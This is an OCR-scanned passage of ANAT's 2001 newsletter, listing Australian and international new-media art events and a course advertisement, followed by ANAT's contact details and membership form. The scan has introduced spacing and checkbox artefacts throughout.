submissions t o turn Hey, Hetero! into a 
series o f TV ads. (HOORAY!! ) 

So, overal l , t he Democra t ic 
Communica t i ons in a Branded W o r l d 
Conference w a s f l a w e d -
unrepresenta t ive and U.S-centric. But 
t he oppor tun i ty t o m e e t such 
enthusiast ic and inspiring peop le w a s 
priceless. 

Thanks very much- I'm really grateful . 

NOTICES 
Elec t ro f r inge Fest iva l 
DATES: 26th S e p t e m b e r - 1st O c t o b e r 
2001 
N e w c a s t l e , N S W 

Electrofringe is on again . It runs f rom 
S e p t e m b e r 26 - Oc tobe r 1 in N e w c a s t l e 
N S W , and wil l once again bring t o g e t h e r 
Australia's mos t exci t ing media makers, 
w e b artists, gamers , tech-heads , 
e lect ronic music makers, audiovisual 
artists, on l ine wri ters , des igners , 
activists, culture j a m m e r s and fi lm and 
v i d e o artists. 

Please direct quer ies t o : 
INFO: Joni Taylor & Shannon O'Nei l l , 
Electrofringe 2001 Coordinators 
EMAIL: 
<Electrofringe2001@octapod.org> 
ONLINE: < h t t p : / / w w w . o c t a p o d . o r g . a u / 
th i s i snotar t /> 

f u t u r e S c r e e n o i : T I L T (Trading 
I n d e p e n d e n t Latera l Tactics) E v e n t 
DATES: 8th-2oth O c t o b e r 2001 
S y d n e y 

'Tactical M e d i a ' is t he t e rm used t o 
descr ibe the practice o f a loose all iance 
o f international media theorists , artists 
and activists w h o address issues arising 
f rom current e c o n o m i c and informat ion 
structures, emphas i s ing the impor tance 
o f i ndependen t media and focusing on 
tactical ne tworks and e lect ronic borders. 
dLux in col laborat ion wi th Australian 
N e t w o r k for Ar t and T e c h n o l o g y ( A N A T ) , 
Imperial Slacks, Met rosc reen and 
P o w e r h o u s e M u s e u m are currently 
e n g i n e e r i n g an even t that e x a m i n e s 
various ' tact ical ' m e t h o d o l o g i e s , a iming 
t o faci l i ta te t he e x c h a n g e and 
d e v e l o p m e n t o f ideas, skills and 
practices b e t w e e n different act ive 
g roups and individuals .The TILT even t 
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will take place in Sydney over t w e l v e 
days and a number o f locat ions via t h e 
fo l l owing ; 

Tactical Talks 
M o n d a y Oc tobe r 8: Forum at 
Met rosc reen ( P a d d i n g t o n ) 
Saturday & Sunday Oc tobe r 13 and 14: 
Symposia (venue t o be announced ) 
fea tur ing local and inter /nat ional 
tactical media artist's pract i t ioners and 
theoris ts . 

Tempora ry A u t o n o m o u s Z o n e [TAZ] 
Oc tobe r 10 - 20: Imperial Slacks (Surry 
Hills) - e v e r y o n e is a par t ic ipant .The 
focus is t o faci l i ta te a space t o e x c h a n g e 
ideas and skills and j a m wi th each o ther 
. . .Workshops (vj /d j , net radio, hact ivism, 
panels and live even ts wil l occur over 
ten days at t he T A Z ) . 

Tactical AXE 
A series o f public even ts are be ing 
planned that incorporate l o w / h i g h tech 
media : c inema concre te SMS m e s s a g i n g 
event , project ing publicly, mis-story Tour, 
Fashionable Fakes - a parade, t h e TILT 
Shop and more. . . 

The R.A.I.D. daily [Radical Act iv i ty 
In te rdependent Deals] 
A t e a m will focus in on the hot issues 
g loba l ly and locally - seek ing 
s h o r t \ m e d i u m \ l o n g t e r m solut ions t o 
distinct issues - and ou tpu t t ing in mult i
media (i .e. DV, t ex t , aud io) t o be 
up loaded on l ine daily. 

Conf i rmed participants: 
Rachel Baker ( U K ) <h t tp : / / 
w w w . i r a t i o n a l . o r g > 
Frank Guer re ro (US) <h t tp : / / 
w w w . r t m a r k . c o m > 
Marko Deseriis (I taly) <h t tp : / / 
w w w . t h i n g . n e t > 
Ricardo D o m i n g u e z (US) h t tp : / / 
w w w . t h i n g . n e t / ~ r d o m 
Nina Brown (AUS) <ht tp : / / 

w w w . i r a t i w a n t i . o r g > 
House o f Laudanum (AUS) <h t tp : / / 
w w w . l a u d a n u m . n e t > 
Identi ty Runners ( I t a l y / U S A ) 

INFO: dLux 
PH: 02 9380 4255 
EMAIL: <cura to r@dlux .org .au> 
ONLINE: < h t t p : / / w w w . d l u x . o r g . a u / t i l t > 

MAAP01 Excess: N e w M e d i a Fest iva l 
DATES: I2th - i4th O c t o b e r 2001 
V E N U E : B r i s b a n e P o w e r h o u s e , O n l i n e 
a n d reg iona l p a r t n e r v e n u e s 
Presented by M u l t i m e d i a Ar t Asia Pacific 

This year 's fest ival t h e m e Excess enab les 
an inves t iga t ion into artist's e x t r e m e 
posi t ions. Digital culture and t h e 
informat ion a g e imply an ove r load o f 
informat ion and poss ibi l i t ies ,yet in 
many si tuations in t imidate , gu ide and 
e n c o u r a g e bland response. It can be 
argued that w e live in an a g e w h e r e t h e 
realities o f e c o n o m i c and social control 
have lead t o a c l ima te w h e r e 
rationalisation prevails. 

Excess looks t o w a r d ar tworks and artists 
that push visual and conceptual l imits 
and seek t o ce lebra te an indu lgence in 
t he outer l imits o f original aesthet ics . 
W h i l e this may sound s o m e w h a t 
Baroque, Excess can equal ly rebound 
into t he e x t r e m e s o f min imal i sm, w h e r e 
excess ive and r igorous theor ie s may 
catapul t express ion t o ext raordinary 
visual and audio denial . W e hope Excess 
wil l v ibra te b e t w e e n t h e t w o e x t r e m e s . 

Everyday excess in our popular med ia 
culture, f i lm and te lev is ion p r o m o t e s 
desensi t isat ion and a m b i v a l e n c e t o t he 
m e a n i n g o f excess n w h e n artists take 
an idea and push it conceptua l ly w e are 
refreshed wi th w a y s t o r e - e n g a g e wi th 
e lec t ronic media , t o find d e e p l y personal 
posi t ions speaking f rom richly different 
cultural posi t ions. 

The M A A P o i festival p rogram runs in 3 
s t reams: 

SEE: includes screening p rograms 
curated f rom China, Korea ,Thai land, 
Phil ippines and Australia. 
SEEK: interact ive exhib i t ion p rogram 
including Internet, C D - R O M , and n e w 
media installations. 
SPEAK: netcast enab led regional forums, 
t ra ining programs , artist talks and 
demons t ra t ions . 

For m o r e in format ion visit : 
ONLINE: < h t t p : / / w w w . m a a p . o r g . a u > 

Cong Xin Wang, "KaraOke", digital video 2000. 
MAAP invites Beijing artist Cong Xin Wang to 
Australia to participate in MAAPoi Excess. MAAP is 
sponsoring the tour to IMA Brisbane, Experimenta 
Melbourne and Artspace Sydney in October. 

ArtSci2ooi: A Cata lys t for Co l labora t ion 
S y m p o s i u m 
DATES: 2nd-4th N o v e m b e r 
V E N U E : G r a d u a t e Center of t h e Ci ty 
U n i v e r s i t y of N e w York 
N e w York 

ArtSci200i: A Catalyst for Col laborat ion 
is ASCI's third internat ional s y m p o s i u m 
that brings t o g e t h e r artists and 
scientists and o thers involved in art-sci 
col laborat ions . It wil l be held in N e w 
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York City on N o v e m b e r 2-4 at t h e 
Graduate Center o f t he City Universi ty 
o f N e w York. Pre-registrat ion is o p e n and 
full p rogram and presenter informat ion 
is avai lable at our w e b s i t e . 

ONLINE: < h t t p : / / w w w . a s c i . o r g > 

M o r p h o l o g i e s Exh ib i t ion a n d 
C o n f e r e n c e 
DATES: 22nd N o v e m b e r - 15th D e c e m b e r 
V E N U E : I van D o u g h e r t y G a l l e r y 
S y d n e y 

Recent d ig i t a l v ideo w o r k produced at 
Z K M , Centre for Ar t and M e d i a in 
Karlsruhe, Germany ' s leading n e w 
media research centre and m u s e u m . It 
includes y o u n g e r Australian and w e l l 
k n o w n internat ional artists at t he 
forefront o f expe r imen ta t i on in 
interact ive c inema; t hey are Dennis Del 
Favero, A g n e s Hegedus , Ian H o w a r d , 
Susan Norr ie , Jeffrey Shaw, Skan (Skye 
Daley and Daniel W r i g h t ) , and Peter 
W e i b e l . 

An international sympos ium, w i th 
several o f t he a b o v e speaking, wil l be 
held at COFA on Friday 23 N o v e m b e r . T h e 
exhibi t ion is jo in t ly presented w i t h 
Artspace , 43-51 C o w p e r W h a r f Road, 
W o o l l o o m o o l o o , as is t he s y m p o s i u m 
which wi l l be held at COFA. 

INFO: Ivan D o u g h e r t y Gallery 
PH: 02 9385 0726 
EMAIL: < i d g @ u n s w . e d u . a u > 

(d is )Locat ions C o n f e r e n c e 
DATES: 30th N o v e m b e r - 1st D e c e m b e r 
2001 
V E N U E : A C M I / T r e a s u r y T h e a t r e , 1 
M a c a r t h u r S t . 
East M e l b o u r n e 
Presented by Cinemedia , M e l b o u r n e , in 
associat ion w i t h COFA U N S W , Sydney, 
and Z K M Centre for Ar t and M e d i a , 
Karlsruhe, Germany. 

In a myriad o f ways , t he effects o f t he 
rapid uptake and c o n v e r g e n c e o f n e w 
media t e c h n o l o g i e s are felt and 
expe r i enced by popula t ions and 
individuals at t h e level o f a virtual and 
actual sense o f dis locat ion. 
F ragmenta t ion o f ' c o m m u n i t y ' , 
urbanisation and t h e col lapse o f locale 
and n e i g h b o u r h o o d , t he erosion o f t h e 
private spaces o f t he sexual and the 
famil ial ; all t hese have e m e r g e d as 
t hema t i c s a t t r ibutable t o t h e 
restructuring and d ive rgen t f l o w s o f 
n e w informat ion e c o n o m i e s and 
m e d i a s c a p e s . T h e very non-linear and 
nodal relat ions that are proper t ies 
i m m a n e n t t o digi tal and interact ive 
media s e e m t o s imul taneous ly descr ibe 
the dec ima t ion o f t he space- t ime 
con t inuum tha t w a s moderni ty . 

As if in t he a f te rmath o f w a r or natural 
disaster, cities, lives and histories appear 
uproo ted and r e m o v e d f rom their locale . 
Displaced, they s o m e t i m e s break f rom 
their an tecedants turning t o w a r d s 
promises o f n e w f r e e d o m s and 
possibili t ies, t hey may col l ide v io len t ly 
w i th o ther expa t r ia ted f r agment s , 
sparking molecular hostil i t ies or they 
m i g h t e m e r g e in surprising w a y s 
f o r m i n g n e w and previously 
un imag ined sites and re -work ings o f old 
narra t ives .The (dis)Locat ions conference 
is a t w o - d a y sympos ium, t o be held at 
Cinemedia ' s Treasury Theat re , wh ich is 
in c lose proximi ty t o t he n e w Austral ian 
Centre for t he M o v i n g I m a g e ( A C M I ) , 
M e l b o u r n e , w h e r e t he w o r l d p remie re o f 
Jeffrey Shaw's installation, Place 
Urbanity will be s t aged t o coincide w i th 
t he conference . 

The even t wil l include a v i d e o 
conferenc ing c o m p o n e n t w i t h Z K M and 
will fea ture internat ional keynote 
speakers and participants, including 
artists Jeffrey S h a w ( A u s / G e r ) , Dennis 
del Favero (Aus) , A g n e s H e g e d u s ( H u n g / 

Ger ) , Susan Norr ie (Aus) and Peter 
W e i b e l (Ger ) , w h o will expand upon 
their works published in t he 
c o m p l e m e n t a r y D V D - R O M , and 
theor is ts Ursula Frohne (Ger) and Lev 
M o n o v i c h ( U S A ) . 

(dis)Locat ions also includes an 
exhib i t ion o f a series o f DVD works by 
s o m e o f t he a b o v e m e n t i o n e d artists 
wh ich exp lo re t he use o f interact ive 
sys tems t o inves t iga te t he w a y urban 
and sexual relationships are located and 
dis located th rough con t empora ry 
culture and c o m m u n i c a t i o n . 

INFO: Aless io Cavallaro, C inemedia 
EMAIL: a l e s s i o @ c i n e m e d i a . n e t 

S e c o n d I te ra t ion E m e r g e n c e : 2nd 
I n t e r n a t i o n a l C o n f e r e n c e o n G e n e r a t i v e 
S y s t e m s in t h e Elect ronic A r t s 
DATES: 5~7th D e c e m b e r 2001 

Presented by The Centre for Electronic 
M e d i a Ar t ( C E M A ) M e l b o u r n e , Second 
I t e r a t i o m e m e r g e n c e is t he even t for 
anyone wi th an interest in t h e 
relat ionship b e t w e e n gene ra t ive 
processes, creat ivi ty and artistic practice. 
The key t h e m e wil l be e m e r g e n c e : t he 
proper ty o f s imple , interact ing processes 
t o acquire characteristics and fo rm 
beyond those directly a t t r ibutable t o t he 
sum o f t he individual c o m p o n e n t s . 
Second Iteration wil l inves t iga te t he 
discontinuit ies b e t w e e n poeisis and 
physis, and h o w these processes 
inf luence the d e v e l o p m e n t o f creat ive 
ideas. Fo l lowing on f rom the highly 
successful First I teration (1999), this 
year 's conference will again be held in 
M e l b o u r n e , Australia. 

Second Iteration topics o f interest: 
Artificial Life, Artificial se lect ion, Cellular 
au tomata , Cultural interpretat ions o f 
g e n e r a t i v e theor ie s & m e t h o d o l o g i e s , 
Digital nature, Evolutionary aspects o f 
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creativity & creat ive behaviour, 
Feedback ne tworks , Gene t ic a lgor i thms , 
Learning & k n o w l e d g e - b a s e d systems, 
Ma thema t i ca l & gene ra t i ve m o d e l l i n g , 
M e m e s , M o d e l s o f creat ivi ty and 
creat ive processes, Neural ne tworks , 
Recombinan t media , Rule-based 
systems, Sof tware ar tworks, Sys tems 
theory 

Second Iteration applicat ions: 
Archi tecture , An ima t ion , C o m p u t e r 
graphics. Cultural theory, Electronic & 
compute r -based music compos i t ion , 
Evolutionary theory, Sof tware 
d e v e l o p m e n t , Visual, sound & 
pe r fo rmance art, Virtual env i ronmen t s 

For further Conference detai ls contact : 

ONLINE: <ht tp : / / 
www.cs se .monash . edu . au /~ i t e r a t e> 
EMAIL: < i te ra te@csse .monash .edu .au> 

2002AD - Analogue2Digital C o n f e r e n c e 
DATES: 28th February - 3rd M a r c h 2002 
A d e l a i d e U n i v e r s i t y U n i o n B u i l d i n g s 
A d e l a i d e 

2002AD - analogue2digital is a four-day 
national conference for t he explora t ion 
and d e b a t e o f issues, ideas, 
d e v e l o p m e n t s and t rends in e lec t ronic 
music .This inaugural even t will focus on 
the musicians and sound artists w h o , 
over t he past decade , have b e c o m e 
increasingly involved w i t h t e chno logy , 
both in its a n a l o g u e and digi tal fo rms -
w h e r e high tech, l o w tech and the 
organic fuse. 

2002AD - analogue2digital wi l l fea ture a 
program o f invited local, national and 
international musicians and sound 
artists in a series o f presentat ions, 
workshops and discussions. They wil l 
exp lo re h o w current t rends are shaping 
con t empora ry music in t h e recording, 
live and virtual pe r fo rmance contexts , 

a long w i t h t he e n g a g e m e n t o f t hese 
fo rms in c o n v e r g e n t med ia and cross art 
f o rm practice. The confe rence will be 
held in t h e A d e l a i d e Universi ty Union 
Buildings. Highl igh ts o f t h e p rogram wil l 
be announced in O c t o b e r w i t h t h e 
o p e n i n g o f d e l e g a t e registrat ions. 

For further informat ion , visit: 

INFO: A d e l a i d e Fringe 2002 
ONLINE: <h t tp : / / 
w w w . a d e l a i d e f r i n g e . c o m . a u > 

: : f ibreculture: : Cr i t ical D e b a t e 

You are invited t o jo in t h e ::fibreculture:: 
mai l ing list - a fo rum for critical 
Australian net culture and research, 
f ounded in January 2001 by David Teh 
and Geer t Lovink. ::fibreculture:: is not a 
conversat ional chat space. The purpose 
o f t h e list is t o have an e x c h a n g e o f 
articles, ideas and a r g u m e n t s on 
Australian IT policy in a broad con tex t . 

O n e a im o f ::fibreculture:: is t o be a 
preparatory fo rum for an Australian 
confe rence on critical issues in Internet 
culture and research, due t o take place 
in M e l b o u r n e , 6-8 December , 2001. 

This even t wil l c o n v e n e a c o m m u n i t y o f 
critical thinkers e n g a g e d w i t h n e w 
med ia / In t e rne t t heo ry and practice, 
w i t h a v i e w t o construct ing a s trategic 
picture o f h o w Australia m i g h t be t te r 
suppor t innovat ion , R+D and t h e 
appl icat ions and culture o f n e w 
t echno logy . The f ibreculture m e e t i n g 
will look into four areas: theory, policy, 
educat ion and t h e arts and have a public 
d e b a t e t o address t h e issues t o a w i d e r 
audience , co-organised by Cinemedia . 

A p rogram for t h e -f ibrecul ture: : 
m e e t i n g and a public deba te , p lanned 
for 6-8 D e c e m b e r 2001, wi l l be pos ted 
on t h e list as soon as possible. Both 

even ts seek t o address t he mos t urgent 
ques t ions facing Internet theory, 
educat ion, policy and research in 
Australia: w h e r e w e should be headed , 
and the best w a y t o g e t there . 
W h i l e w e certainly h o p e t o s t imula te 
real d e b a t e abou t t hese issues, t h e 
-f ibrecul ture: : list, w e b s i t e and 
confe rence ( including t h e inaugurat ion 
o f a n e w on l ine /pape r publication 
series) wil l be m o r e o f a ' s teer ing ' 
taskforce than a space for po lemica l 
exchanges . Its t o n e should remain 
construct ive and consul ta t ive - not 
adversarial . 

The list is g r o w i n g steadily and n o w has 
over 200 subscribers. To jo in , s imply 
send an emai l t o <fibreculture-
reques t@l is t s .myspinach .org> w i t h t h e 
w o r d "subscribe" in t he subject line. W e 
invite all n e w subscribers t o introduce 
t h e m s e l v e s t o t he list - tell us abou t 
your w o r k (practical, research, 
commerc ia l or o t h e r w i s e ) and w h a t 
issues you think the list needs t o focus 
on. W e encou rage all part icipants t o 
send their n e w and old con ten t (essays, 
in te rv iews , rev iews , e tc . ) t o t h e list so 
tha t a data base o f critical material wil l 
g r o w over t i m e , accesible th rough an 
o p e n w e b archive. W e s u g g e s t tha t n e w 
subscribers may find interest in t r aw l ing 
th rough t h e list's archives. 

The facil i tators g roup : 
Hugh Brown (Brisbane) 
< h u g h i e @ o n l i n e o p i n i o n . c o m . a u > 
Geer t Lovink (Sydney) <geert@xs4all.nl> 
Helen Merrick (Per th) 
<H.Merr ick@exchange .cur t in .edu .au> 
N e d Rossiter ( M e l b o u r n e ) 
<Ned .Ross i t e r@ar t s .monash .edu .au> 
David Teh (Sydney) 
<dteh@ar th is t .usyd .edu .au> 
M i c h e l e Wi l l son (Per th) 
<M.Wi l l son@exchange .cu r t in . edu .au> 

C o m i n g soon: <www. f ib r ecu l tu r e .o rg> 
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B a c h e l o r o f Ar ts : P e r f o r m a n c e a n d 
M u l t i m e d i a 
V i c t o r i a n U n i v e r s i t y of T e c h n o l o g y 
M e l b o u r n e 

In 2002 t h e School o f Human 
M o v e m e n t , Recreation and Per fo rmance 
wil l be of fe r ing a l imi ted number o f 
places in t h e n e w Bachelor o f Arts : 
Pe r fo rmance and M u l t i m e d i a . 

Pe r fo rmance Practice ( d a n c e / t h e a t r e / 
pe r fo rmance art) is t r ans forming in 
relat ionship w i th t he e m e r g e n c e o f n e w 
media t e c h n o l o g i e s . M a n y artists are 
n o w exp lo r ing t he connec t ions b e t w e e n 
live pe r fo rmance and t h e s e n e w media , 
and exci t ing n e w ar t forms are 
d e v e l o p i n g . 

The BA: Performance and Multimedia builds 
on the existing BA: Performance Studies 
offered in the Faculty of Human 
Development and the BA: Multimedia 
offered in the Faculty of Arts and provides 
students with the skills and theoretical base 
to be at the forefront of these 
developments. 

The emphasis of the course is on 
composition and the development of new 
and innovative work, as well as on the study 
of theoretical issues informing 
contemporary culture. 

W e are seeking innovators, adventurous 
minds and creative spirits of all kinds for the 
first student-intake of this exciting new 
course! 

Entry for 2002 will be by Direct Entry 

INFO: Faculty of Human Development 
Student Centre 
PH: 03 9688 4478 
EMAIL <hdcourses@vu.edu.au> 

n 

Street address 

Lion Arts Centre 

Cnr North Terrace & 

Morphett Streets 

Adelaide, South Australia 

Postal address 

PO Box 8029, Station Arcade 

South Australia 5000 

Australia 

Phone:+61 (0)8 8231 9037 

Fax:+61 (0)8 8211 7323 

email: anat@anat.org.au 

URL: www.anat.org.au 

A B N : 26 670 446 106 

Staff 

Executive Director: 

Julianne Pierce 

Manager: 

Caroline Farmer 

Web and Technical Officer: 

Claudia Raddatz 

Information Officer: 

Charity Bramwell 

Board 

Vicki Sowry (Chair) 

Michelle Glaser (Deputy Chair) 

Adrienne Hender (Treasurer) 

Leon Cmielewski 

Caroline Farmer (staff rep.) 

Jenny Fraser 

Julianne Pierce (public officer) 

Kate Richards 

Jenny Weight 

ANAT is a member of CAOs 
www.caos.org.au 

MEMBERSHIPS AND GST 
Due to the implementation of a Goods 
and Services Tax (GST) in Australia from 1 
July, 2000, ANAT must charge GST on 
memberships for Australian based 
individuals and organisations. 

New membership amounts for Australian 
based individuals and organisations are 
listed below. 

Please note that non-Australian residents 
need not pay the GST increment. 

From 1 July 2000 
Ind. - $25.00 (+$2.50 GST) = $27.50 
Cone. - $12.00 (+$1.20 GST) = $13.20 
Org. - $50.00 (+$5.00 GST) = $55.00 

y\KTA AT 

mailto:hdcourses@vu.edu.au
mailto:anat@anat.org.au
http://www.anat.org.au
http://www.caos.org.au


MEMBERSHIP FORM / TAX INVOICE 

ANAT is a membership based organisat ion. W e encourage all those interested in art and technology to part icipate in the mapping of this eclectic territory by jo in ing the 

organisation's continuing research into the field. ANAT depends on its consti tuents for input into the organisation's continuing evolution and seeks to ensure that the concerns 

of practit ioners all over Australia are represented w i th in the organisation's a ims and object ives. Membersh ip is priced to make it accessible to all art ists and to enable broad 

representation f rom as many different social spheres as possible. Membersh ip benefits include: 

Benefits of Advocacy and Networking: 
1. Inclusion on ANAT database, regularly util ised by researchers, journal ists and curators 

2. Links f rom the ANAT webs i te to yours 

3. Advice, advocacy and consultancy from ANAT staff 

4. ANAT can broker access to technical resources (such as those offered by the CAOs and SCRO networks) 

Benefits of Information Dissemination 
4. Regularcopies of the ANAT newslet ter 

5. Week ly / fortnightly copies of the ANAT members emai l digest wh ich comprises updates of opportunit ies and events relevant to art and technology 

6. Informat ion and updates about ANAT's Conference and Workshops fund, Nat ional S u m m e r Schools and all ANAT init iated schemes and projects 

Access and Participation in ANAT Activities 
7. Vot ing rights at A G M s 

8. Eligibility to apply to ANAT's programs of support (some condit ions may apply) 

9. Knowledge that you are support ing innovat ion and dynamism wi th in art and technology, through Austral ia's most progressive art and technology network 

I w o u l d l ike to | [ become a m e m b e r of ANAT 

[ R e n e w m y m e m b e r s h i p t o ANAT 

Ind iv idua I I . 
Concess ion [ O r g a n i s a t i o n 

N a m e : 

O rgan i sa t i on N a m e : 

Pos i t i on : 

Address : 

Pos t code 

Posta l Address : 

Pos t code 

Te lephone (h) : ( ) (W): ( 

F a x : ( ) 

E m a i l : U R L : 

W o u l d y o u be in te res ted in h a v i n g a l ink t o you r s i te f r o m t h e ANAT w e b s i te? 

j Y e s n n° 
M e t h o d of P a y m e n t : ^ C h e q u e | | Cred i t Card | | M o n e y Order 

Cred i t ca rd de ta i l s : ~~] V I S A ~~| M a s t e r c a r d [ j B a n k c a r d 

C a r d * : • • • • • • • • • • • • • • • • 

S i g n a t u r e : D a t e : 

Expiry D a t e : 

Cheques shou ld be m a d e p a y a b l e t o 

t he Aus t ra l i an N e t w o r k for A r t a n d Techno logy ABN:26 670 446106 

For the A N A T Database 
The ANAT d a t a b a s e is a resource w h i c h ho lds i n f o rma t i on on ind iv idua ls a n d 
o r g a n i s a t i o n s w h o are par t of t h e i n t e r n a t i o n a l a r t , sc ience a n d t e c h n o l o g y 
c o m m u n i t y . Th is resource is m a d e ava i l ab l e to i n te res ted par t ies , w h e n ANAT 
perce ive t h e r e t o be a c lear benef i t t o m e m b e r s . P l e a s e i nd i ca te w h e t h e r w e 
a re f ree t o re lease you r de ta i l s (if y o u do not respond to t h e q u e s t i o n , w e w i l l 
p r e s u m e t h a t w e can re lease your de ta i l s ) : 

• Y e s , y o u m a y re lease my de ta i l s 

• N o , use th i s da ta for s ta t i s t i ca l pu rposes on ly 

For Individuals 

G e n d e r : f j M Q F Q o t h e r 

A re y o u a n : • A r t i s t • W r i t e r • E d u c a t o r • Cu ra to r • Des igne r 

• P r o g r a m m e r • Pro jec t M a n a g e r J o t h e r : 

W h a t w o u l d y o u de f i ne as you r ma jo r a rea of p rac t i ce? 

For Australians: (Optional) 

Do y o u c o m e f r o m a n o n - E n g l i s h S p e a k i n g B a c k g r o u n d ? Yes I INo 

A re y o u an Abor ig ina l or Torres S t ra i t I s lander? Q Y e s • N o 

For Organisations 

Core bus iness of o r g a n i s a t i o n : • A r t s • S c i e n c e • I ndus t r y 

• G o v e r n m e n t • o t h e r : 

Core Ac t i v i t i e s : • E x h i b i t i o n • P r o d u c t i o n • R e s e a r c h 

• E d u c a t i o n • F u n d i n g • P u b l i s h i n g 

• O t h e r : 

For Individuals AND Organisations A r e a s of P rac t i ce (or bus iness ) : 

I ^An imat ion 

• A r c h i t e c t u r e 

• c o m p u t e r G r a p h i c s 

[Crafts 

• D a n c e 

[E lec t ron ics 

• F i lm 

• H o l o g r a p h y 

• in te rac t ive Insta l la 

• i n t e r n e t 

• Laser 

M u l t i m e d i a 

[ [ M u s i c C o m p o s i t i o n 

• M u s i c P e r f o r m a n c e 

• N e o n 

• P a i n t i n g 

I [ P e r f o r m a n c e 

• P h o t o g r a p h y 

[ [ P r i n t m a k i n g 

• Robo t i cs 

L J S o f t w a r e A u t h o r i n g 

I [ S o u n d C o m p o s i t i o n 

• S o u n d P e r f o r m a n c e 

• T h e a t r e 

• V i d e o 

[ [ v i r t u a l C o m m u n i t i e s 

• V i r t ua l Rea l i t y 

• W e b Des ign 

• W r i t i n g 

• S c r e e n b a s e d In te rac t i ves L 3D M o d e l l i n g 

• S c u l p t u r e / I n s t a l l a t i o n [ j O t h e r 
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